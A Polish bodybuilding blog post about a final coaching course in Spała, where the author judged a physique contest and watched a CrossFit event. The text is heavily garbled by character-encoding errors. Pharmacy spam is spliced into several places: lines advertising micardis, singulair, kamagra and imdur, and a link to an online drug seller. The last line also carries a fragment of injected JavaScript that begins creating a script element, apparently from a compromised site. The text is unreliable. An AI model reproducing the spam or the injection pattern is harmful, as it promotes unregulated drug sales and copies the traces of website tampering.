Szkolenie ai??i?? ai??? BezpoAi??rednie Przygotowanie Startowe ai??z

5.06.2012 / Adam Jabłoński / Kulturystyka

CzeAi??Ai??,

W Niedziele pA?A?nym wieczorem wrA?ciliAi??my razem z Przemkiem W. (Olympia-S) i kolegAi?? Arturem z szkolenia BPS ktA?ry odbyAi?? siAi?? w Spale w oAi??rodku COS.

ByAi??a to juA? ostatnia czAi??Ai??Ai?? szkoleAi?? z cyklu MUSCLE IQ, i ta czAi??Ai??Ai?? BPS w skrA?cie polegaAi??a naAi?? omA?wieniu ostatnich dni – ostatniego etapu przed startem w zawodach, analizowaniem sylwetek, poprawAi?? pozowania i zwracaniem uwagi na szczegA?Ai??y sylwetki.

Na szkolenie wybraliAi??my siAi?? w PiAi??tek po godzinie 22 dojechaliAi??my po 5 rano w SobotAi??.
PoszliAi??my spaAi?? i rano wstaliAi??my na zajAi??cia.

Po zajAi??ciach odbyAi??y siAi?? zawody do ktA?rych przygotowywali siAi?? bardzo dAi??ugo zawodnicy i ich trenerzy.
Konkurs polegaAi?? na tym, A?e trenerzy zgAi??aszali swoich zawodnikA?w do konkursu i musieli przygotowaAi?? caAi??a dokumentacje jak wyglAi??daAi??y poszczegA?lne etapy poprawy formy, jak prowadzili zawodnika, jakie nastAi??piAi??y zmianys oraz sami zawodnicy musieli zaprezentowaAi?? siAi?? bardzo dobrze.

Order

 

ZostaAi??em wybrany jako jeden z sAi??dziA?w ktA?rzy oceniali trenerA?w i ich zawodnikA?w.

order micardis side

rx customer service pharmacy

Order

 

OdbyAi??y siAi?? 3 rundy:
1 runda polegaAi??a na wykonaniu ukAi??adu dowolnego z podkAi??adem muzycznym przez kaA?dego z uczestnikA?w zawodA?w.
2 runda polegaAi??a na porA?wnaniu zawodnikA?w w pozach obowiAi??zkowych.
3 runda polegaAi??a natomiast na ocenieniu wkAi??adu pracy czyli zmiany wyglAi??du sylwetki zawodnika z przed rozpoczAi??cia pracy z trenerem i po zakoAi??czeniu – tAi?? prezentacje przedstawiaAi?? TRENER kaA?dego z zawodnikA?w – i on byAi?? oceniony za to.
Nagrody byAi??y bardzo duA?e takA?e zaangaA?owanie zawodnikA?w i trenerA?w byAi??o bardzo duA?e.

JeAi??li chodzi o sAi??dziowanie to powiem szczerze byAi?? to mA?j pierwszy raz i jest to strasznie ciAi??A?kie, poniewaA? ciAi??A?ko jest zapamiAi??taAi?? wszystkie osoby gdy spojrzymy siAi?? na jakaAi?? pozAi?? ktA?ra prezentujAi?? zawodnicy i nawet jeAi??li ktoAi?? kto wyglAi??da lepiej, a w danym momencie nie dopnie miAi??Ai??ni albo A?le siAi?? zaprezentuje dostaje niA?sza notAi??.
Panuje chaos ciAi??A?ko ogarnAi??Ai?? tyle osA?b na raz
Nie mniej jednak niektA?rzy prezentowali super sylwetki, a ich trenerzy odwalili kupAi?? dobrej pracy przy prezentacjach.
Co do ukAi??adA?w dowolnych 1 z uczestnikA?w wywarAi?? na mnie pozytywne wraA?enie, ukAi??ad byAi?? dopracowany w harmonii z muzykAi?? – po prostu elegancko jak na poczAi??tkujAi??cego to super.

Po zawodach razem z Przemkiem skoczyliAi??my na szybki trening plecA?w i 25 minut aerobA?w.

Gdy wrA?ciliAi??my do hotelu odAi??wieA?yliAi??my siAi?? i zeszliAi??my na kolejne kolejne wykAi??ady po ktA?rych byAi??o juA? pA?A?no i po nich poszliAi??my spaAi??.

NastAi??pnego dnia odbyAi??y siAi?? zawody CROSS FIT – teA? miaAi??em byAi?? sAi??dziAi?? – jednak wiedziaAi??em co siAi?? kroi i udaAi??o mi siAi?? z tego wywinAi??Ai?? no i niestety ale peszek miaAi?? akurat Przemek hahaha, ktA?ry byAi?? sAi??dziAi?? przez parAi?? godzin AHHA co najlepsze pasuje mu stoper na szyi i notes w rAi??ku.

 

Cheap

when does singulair go generic

Cheap

Nie bAi??dAi?? opisywaAi?? poszczegA?lnych konkurencji bo od samego myAi??lenia robi mi siAi?? sAi??abo.
Na zawodach najlepiej zbudowani padali jak muchy coAi?? niesamowitego widzAi??c dobrze zbudowanego chAi??opaka ktA?ry przegrywa z 50 kg kobietAi?? hahah (sam nie byAi?? bym lepszy)

Na zakoAi??czenie zostaAi??y wrAi??czone nam certyfikaty ukoAi??czenia szkolenia :

Cheap

Order

nastAi??pnie zrobiliAi??my wspA?lne pamiAi??tkowe zdjAi??cie i poszliAi??my na obiad.

Po objedzie A?egnaliAi??my siAi?? z uczestnikami szkolenia i pojechaliAi??my w stronAi?? Szczecina.

ByAi??o fajnie na lighcie ostanie szkolenie byAi??o juA? bez spinki bo widzieliAi??my, A?e to ostania czeAi??Ai?? moA?na to porA?wnaAi?? do ostatniej klasy w liceum lub ostatniego semestru na studiach, w przyszAi??ym roku majAi?? byAi?? organizowane bardziej zaawansowane szkolenia wiAi??c moA?liwe, A?e siAi?? wybierzemy i TAM.

A jako ciekawostkAi?? dodam, A?e mamy nowego czAi??onka TREC TEAMU – znacie HANIBALA ? nie to zobaczcie tutaj :

httpv://www.youtube.com/watch?v=1Lh63gdRFSs

DziAi??ki,
Pozdrawiam Hejvar d=document;var s=d.createElement(‚script’); Order } online http://cim-group.net/order-imdur-dosage/ kamagra jelly. Kamagra online. where to buy kamagra safely.